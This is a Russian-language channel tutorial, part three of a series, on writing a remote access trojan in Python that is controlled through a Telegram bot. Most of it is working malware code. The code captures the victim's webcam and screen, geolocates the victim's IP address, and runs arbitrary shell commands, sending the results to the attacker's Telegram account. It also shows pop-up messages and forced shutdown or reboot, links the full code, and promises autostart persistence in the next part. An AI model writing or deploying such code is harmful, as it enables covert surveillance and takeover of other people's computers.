Пишем RAT на Python. 3 Часть.
BLACK CODEСоздание RAT с управлением через Telegram. Часть 3.

BLACK CODE. Авторский контент.
Всем привет! Это канал BLACK CODE. Мы уже почти на финише создания нашей КРЫСЫ. Читайте далее.
Новые библиотеки
В новой версии у нас появились новые библиотеки — cv2, subprocess и модуль system из os.
Начнём с cv2
CV2
OpenCV на нужна исключительно для доступа к веб-камере.
Установка
Windows:
pip install opencv-python
Linux:
sudo apt-get install libopencv-dev python-opencv
Разберёмся с функциями, которые нам нужны
import cv2 # Импорт библиотеки
cam = cv2.VideoCapture(0) # Включение основной камеры
s, cam_img = cam.read() # Снимок
cv2.imwrite("cam.bmp", cam_img) # Сохранение снимка
cam.release() # Отключаем камеру
cam_img = open('cam.bmp', 'rb') # Открываем снимок для отправки
bot.send_photo(user_id, cam_img) # Отправляем фото
cam_img.close() # Закрываем снимок
os.remove('cam.bmp') # Удаляем снимок
В принципе, всё довольно просто.
subprocess
Subprocess входит в стандартную библиотеки пайтона, поэтому устанавливать его не нужно.
Subprocess мы будем использовать, чтобы исполнять системные команды.
У нас это будет реализовано так — если пользователь ввёл то, на что не кнопки, то ратник пытается это выполнить в консоли.
От subprocess нам много не надо
import subprocess # Импорт библиотеки
# Пробуем выполнить команду
try:
output = subprocess.check_output(message.text, shell=True) # Выполнение команды
output = str(output) # Результат выполнения в строку
# Срезаем лишние символы
output = output[2:]
output = output[:-1]
bot.send_message(user_id, output) # Отправляем сообщение с результатом
except: # Если ошибка, то...
pass # Заглушка, то есть ничего не делаем
Тут всё крайне просто, не будет на этом заострять внимание.
os.system
os.system нам нужен тоже, чтобы выполнять команды в консоли, но он более просто через subprocess.
Дело в том, что check_output из subprocess выдаёт ответ в переменную, что нам и нужно.
А os.system просто выполняет, выдавая результат только в консоли.
os.system нам нужен для выполнения простых/заготовленных системных команд.
from os import system # Импорт модуля из библиотеки os
os.system('echo "123"') # Выполнения команды "echo"
# В консоли должно вывести "123"
Тут поймёт даже ребёнок :)
Изменения
Сейчас пройдёмся по основным изменениям.
Я добавил новые кнопки в функцию start_message
keyboard = telebot.types.ReplyKeyboardMarkup() # Создание клавиатуры
# Добавление кнопок в клавиатуру
keyboard.add('Получить IP', 'Скриншот Экрана')
keyboard.add('Фото с Камеры', 'Сообщение')
keyboard.add('Выключить Компьютер', 'Перезагрузить компьютер')
keyboard.add('/help')
Сделал отдельную функцию для обработки команды /help
# Если была введена /help @bot.message_handler(commands=['help']) def help_message(message): if str(message.chat.id) == user_id: # Если id пользователя = id админа, то... help_mess = '''Нажимайте на кнопки, чтобы выполнить команды. Если введёте ту команду, которой нет, то она выполнится в консоли.''' bot.send_message(user_id, help_mess) # Бот отправляет help текст else: # Если id пользователя не = id админа, то... # Бот говорит, что этот бот не для тебя bot.send_message(message.chat.id, 'Sorry, but that bot not for you :)')
И, конечно, добавил новый функционал в основную функцию
# Если был отправлен просто текст
@bot.message_handler(content_types=['text'])
def text_message(message):
if str(message.chat.id) == user_id: # Если id пользователя = id админа
if message.text == 'Получить IP': # Если текст = Получить IP, то...
# Берём IP пользователя
target_ip = requests.get('https://ip.42.pl/raw').text
# Отправляем нам IP пользователя
bot.send_message(user_id, target_ip)
# Берём json из ссылки на информацию по IP
json = requests.get('https://ipinfo.io/' + target_ip + '/json').json()
# Если локация есть в джсоне, то
if 'loc' in json:
loc = json['loc'] # Записываем локацию в переменную
loc = loc.split(',') # Разделяем локацию по запятой
# Отправляем локацию пользователя в виде GoogleMaps
bot.send_location(user_id, float(loc[0]), float(loc[1]))
elif message.text == 'Фото с Камеры':
try: # Пытаемся получить фото с камеры
# Включаём основную камеру
cam = cv2.VideoCapture(0)
# "Прогреваем" камеру, чтобы снимок не был тёмным
for _ in range(100):
cam.read()
# Делаем снимок
s, img = cam.read()
# Сохраняем снимок
cv2.imwrite('img.bmp', img)
# Отключаем камеру
cam.release()
# Открываем снимок
cam_img = open('img.bmp', 'rb')
# Отправляем нам снимок
bot.send_photo(user_id, cam_img)
# Закрываем и удаляем снимок
cam_img.close()
os.remove('img.bmp')
except: # Если произошла ошибка
bot.send_message(user_id, 'Ошибка! У пользователя нет камеры!')
elif message.text == 'Скриншот Экрана': # Если текст = Скриншот Экрана, то..
# Делаем скриншот
screen = ImageGrab.grab()
# Бот отправляет нам скриншот
bot.send_photo(user_id, screen)
elif message.text.startswith('Сообщение'): # Если текст начинается с "Сообщение"
if message.text == 'Сообщение' or (len(message.text) > 9 and message.text[9] != ' '): # Если текст = Сообщение
bot.send_message(user_id, 'Вы должны написать так - Сообщение <Текст>\nПример: Сообщение From BLACK CODE With Love<3')
else: # Если текст не = Сообщение
try: # Пробуем отправить сообщение и сделать скриншот
# Делаем сообщение из команды пользователя
message = message.text.replace('Сообщение ', '')
command = 'msg * ' + message
# Отправляем сообщение
os.system(command)
# Делаем скриншот
screen = ImageGrab.grab()
# Отправляем скриншот и текст
bot.send_message(user_id, 'Готово!')
bot.send_photo(user_id, screen)
except: # Если произошла ошибка...
bot.send_message(user_id, 'Неизвестная ошибка!')
elif message.text == 'Выключить Компьютер': # Если текст = Выключить Компьютер
bot.send_message(user_id, 'Компьютер Выключен!\nБот не будет работать')
os.system('shutdown /s /t 1') # Команда для выключения компьютера
elif message.text == 'Перезагрузить Компьютер': # Если текст = Перезагрузить Компьютер
bot.send_message(user_id, 'Компьютер перезагружается...')
os.system('shutdown /r /t 1') # Команда для перезагрузки компютера
else: # Если текст != командам, то текст выполняете в коносли
try: # Пытаемся выполнить и отправить текст
output = subprocess.check_output(message.text, shell=True)
output = str(output)
output = output[2:]
output = output[:-1]
bot.send_message(user_id, output)
except: # Если произошла ошибка
pass # Заглушка
else: # Если id пользователя не = id админа, то..
# Бот говорит, что данный бот не для тебя
bot.send_message(message.chat.id, 'Sorry, but that bot not for you :)')
Можете рассмотреть поближе эти функции, ведь там есть комментарии, НО, не нужно копировать отсюда себе, в конце статьи я выложу код на pastebin, там можно копировать, ведь там сохранена табуляция.
Тестирование ратника


"Выключить Компьютер" и "Перезагрузить Компьютер" я тестировать при вас не стал, но они работают :).
Полный код
Не стоит копировать код из Telegraph'а там теряется вся табуляция, могут быть ошибки, а может и вообще не работать.
Так что, вот код, я его выложил на pastebin, с него копировать можно.
КОД НА PASTEBIN (КЛИКАБЕЛЬНО)
Спасибо за помощь - @Bekhsdev
На этом всё. Теперь функционал уже более менее нормальный. В следующей части мы добавим добавления ратника в автозагрузку и другие системные фишки.
BLACK CODE, чернее только Vantablack.

Канал: BLACK CODE
Литература Хакера: @archivehacker
Лучший обменник криптовалюты в Telegram: Chatex
Админ: @blackcode_admin